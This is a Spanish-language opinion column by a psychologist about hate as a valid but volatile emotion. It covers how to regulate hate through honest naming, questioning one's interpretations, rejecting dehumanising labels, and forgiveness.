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Inicio Columnas¿Ángeles caídos o antropoides erguidos? Ódiame por piedad yo te lo pido…

Ódiame por piedad yo te lo pido…

Por Dr. Luis Flórez Alarcón
Ódiame por piedad yo te lo pido

LA VALIDEZ DEL SENTIMIENTO DE ODIO

Posiblemente cuando usted leyó el título de esta nota recordó la letra de una canción popular que relata el sentimiento de un hombre pidiéndole a su amada odio en lugar de indiferencia. Pues, “el rencor hiere menos que el olvido”.

Los sentimientos siempre son válidos, surgen para promover un comportamiento adaptativo; pero su valor adaptativo se pierde cuando el comportamiento que sigue al sentimiento se extralimita. La autorregulación emocional tiene como meta darle al comportamiento  impulsado por las emociones una dimensión que esté en coherencia con el sentimiento, pero que sea proporcionada.

Cualquier situación a la que nos encontremos expuestos siempre nos genera algún sentimiento, por más neutral que esa situación pueda parecer desde el punto de vista emocional. Hay sentimientos de todos los matices; algunos son agradables, otros son desagradables. Es diferente sentir felicidad que sentir tristeza, sentir tranquilidad que sentir ansiedad, o sentir amor que sentir odio; eso todos lo sabemos.

Pero no podría afirmarse que unos sentimientos son “buenos” y otros son “malos”; que unos son “positivos” y otros son “negativos”, pues todos los sentimientos son válidos; a lo sumo podríamos decir que unos son “deseables” y otros son “indeseables”. Esto  significa que todos los sentimientos surgen para estimular comportamientos acordes con las situaciones que los generan, con la finalidad de promover el afrontamiento apropiado de esas situaciones. Podría ser incoherente y poco adaptativo sentir alegría en presencia de una pérdida, o tranquilidad en presencia de un peligro.

Por lo mismo, también es adaptativo sentir odio (antipatía o aversión) hacia algo que nos produce daño o dolor, y es coherente, pertinente, y relevante, el comportamiento de defensa o de alejamiento promovido por el odio. Pero resulta que el odio no solo promueve defensa, también promueve ataque. El diccionario de la Real Academia Española define al odio como “antipatía y aversión hacia algo o hacia alguien cuyo mal se desea”; la última parte de la definición enfatiza el deseo activo de atacar al objeto odiado, con el propósito de causarle mal.

La extralimitación sobreviene, entonces, cuando el odio, como sentimiento que promueve la defensa, es rebasado por el deseo de producirle el mal al objeto odiado. Cuando el hombre de la canción Ódiame le manifiesta a su amada que prefiere el odio al olvido, le está manifestando que desea que lo recuerde, aunque sea con rencor, pero que lo recuerde; con seguridad no le está pidiendo que lo ataque o que le haga algo dañino.

Todos sabemos del poder y la capacidad del odio para movilizar conductas que le produzcan daño al objeto odiado. Pero esta no es una propiedad exclusiva del odio, es una propiedad de cualquier sentimiento. Piense por un momento en el poder del amor, sentimiento contrario al odio; se dice que “el amor mueve montañas”.

Pues tenga presente que el odio también las mueve. Uno y otro, amor y odio, son adaptativos; y para ser adaptativos ambos demandan autorregulación. Las extralimitaciones del amor pueden resultar dañinas; igual las de odio o de cualquier otro sentimiento. Surge pues la pregunta ¿cuáles son las claves para lograr esa autorregulación del odio?

Se pueden proponer algunos factores claves conducentes a la autorregulación de un sentimiento con alta capacidad explosiva, como lo es el odio. Primero, es preciso reconocerlo con precisión cuándo surge, para tener claridad que nos coloca en un estado de alta volatilidad emocional que demanda particular atención a las acciones que le siguen, impulsadas por él, pues pueden tener consecuencias negativas de gran impacto; obliga a realizar un esfuerzo de vigilancia sobre la conducta que se va a emitir, similar al que demanda un estado emocional como el de ira.

La forma de denominarlo al reconocerlo tiene que ser muy precisa y directa, sin eufemismos; más vale que nos digamos con precisión “odio a esta persona”, en lugar de “me disgusta esta persona”, pues el reconocimiento claro del odio nos puede alertar sobre el potencial destructivo de las acciones que emprendamos. Tal vez una de las primeras acciones a emprender sea modificar el “odio a esta persona” por “odio tal comportamiento de esta persona”.

En segundo lugar, una vez reconocido el sentimiento en su esencia definitoria como “odio”, se impone precisar los elementos del objeto odiado que nos producen la reacción aversiva, para establecer la racionalidad de los argumentos en que nos basamos y para poder determinar si de verdad estos se refieren a objetos que representan un daño potencial para nuestra integridad o no.

Lo más probable es que podamos discriminar con precisión qué es lo que nos produce ese sentimiento de odio, y asimismo podamos también ponderar si amerita defendernos y cuáles son las acciones de defensa apropiadas, que generalmente se cumplen con la evitación del objeto odiado. Puede ser que la causa del odio se ubique en nuestra subjetividad (ej. celos, envidia) y no necesariamente en lo que objetivamente hacen otros.

En tercer lugar, algo fundamental es distinguir entre el deseo legítimo de evitar o defenderse, y el deseo de causarle mal al objeto odiado, deseo que puede ser ilegítimo. Es esta parte de la cadena de reacciones la que le puede generar los más altos costos al que siente odio, por las consecuencias nocivas para sus vísceras y para su organismo en general, por la ausencia de utilidades o de beneficios reales (el único objetivo es perjudicar al otro), por la incompatibilidad con principios morales, por la inversión de tiempo y esfuerzo, por las potenciales consecuencias adversas en caso de retaliación, etc.

Hacer activamente algo que le cause mal a otro solo puede ser válido cuando se realiza con justificación establecida y mediante el uso de instrumentos lícitos y legales (ej. apelando a la ley para que sus acciones lesivas no queden impunes y tampoco se repitan).

Consideraciones como las anteriores muestran que los sentimientos son válidos, por indeseables que sean, pero siempre admiten autorregulación voluntaria de la persona si así lo decide. Para lograrlo es necesario formularse preguntas, en cuyas respuestas se encuentra el camino de la regulación: ¿Cuál es el sentimiento que me embarga? ¿Cuáles son los hechos que me producen este sentimiento? ¿Es cierta la interpretación que hago de esos hechos? ¿Cuáles son otras interpretaciones alternativas? ¿Cuál puede ser una forma adecuada de manifestar este sentimiento? ¿Cuál beneficio me aporta  esta forma de manifestarlo?

Las anteriores pueden ser preguntas conducentes para el monólogo socrático que lleve a la autorregulación de un sentimiento como el odio, en situaciones de celos, envidia, dolor legítimo y otros casos similares que pueden sucederle a cualquier antropoide erguido, de los cuales están libres solamente los ángeles caídos.

Las alternativas para darle un final razonable al odio son muy diversas; todo depende de las causas que lo hayan generado, y del objeto de ese odio. La canción popular que tomé para llamar la atención sobre el tema de esta nota afirma que “tan solo se odia lo querido”. Posiblemente eso no es cierto en términos absolutos, pero sí es parte de la verdad.

Muchas veces odiamos a quienes nos hieren, y es fácil que recibamos con mucho dolor algo lesivo que hacen aquellos a quienes amamos; es más, en ocasiones nos odiamos a nosotros mismos. El odio a sí mismo, que reemplace al desprecio hacia una acción cometida por uno, puede surgir de una confusión entre el todo y la parte. Igual puede decirse del odio a otros, incluso otros a quienes antes hemos amado.

La capacidad de anclaje de una palabra es demasiado poderosa; no es lo mismo fumar marihuana que ser marihuanero, y puede ser excesivo tratar como “marihuanero” a alguien por el hecho de que fuma marihuana. Es frecuente que confundamos el todo con la parte y que identifiquemos a la persona total con una acción suya; una cosa es odiar un comportamiento de alguien, otra es identificar a la persona con un comportamiento y odiarla a ella en conjunto, al grado de negar sus aspectos positivos o sus derechos.

Por eso resultan tan perjudiciales los rótulos que llevan a identificar a alguien con un término despectivo; en Colombia durante algún tiempo se llegó a denominar como “desechables” a los habitantes de la calle, con la justificación implícita de la “limpieza” que libraba de ellos a la sociedad, y la justificación de los métodos que se usaran para “limpiarla”, por ilegales e inhumanos que estos fueran.

Si el odio surge como un sentimiento válido que nos permite reconocer situaciones lesivas y evitarlas o enfrentarlas legítimamente, también tiene formas posibles de resolverlo muy constructivas. Tal vez el perdón es una de las alternativas más constructivas, cuando el odio tiene fundamentos reales y conduce a comportamientos adaptativos de quien odia, con consecuencias reales de modificación sobre el objeto odiado.

El perdón también tiene diversas interpretaciones; no necesariamente significa desconocimiento de lo sucedido, ni olvido. Pero siempre va a significar que existe la posibilidad de continuar viviendo, de continuar conviviendo, y de reemprender el tránsito hacia el futuro por nuevas rutas de reconciliación.

El perdón es, en todo caso, una alternativa de resolución muy plausible en situaciones de odio; por lo general requerimos convivir con personas a las que no queremos mucho; por otra parte, no hay que olvidarse de lo que sugieren quienes afirman que “del odio al amor solo hay un paso” (¿o a la inversa?).

Por: Luis Flórez Alarcón
Doctor en Psicología Experimental
Correo: luis@florez.info

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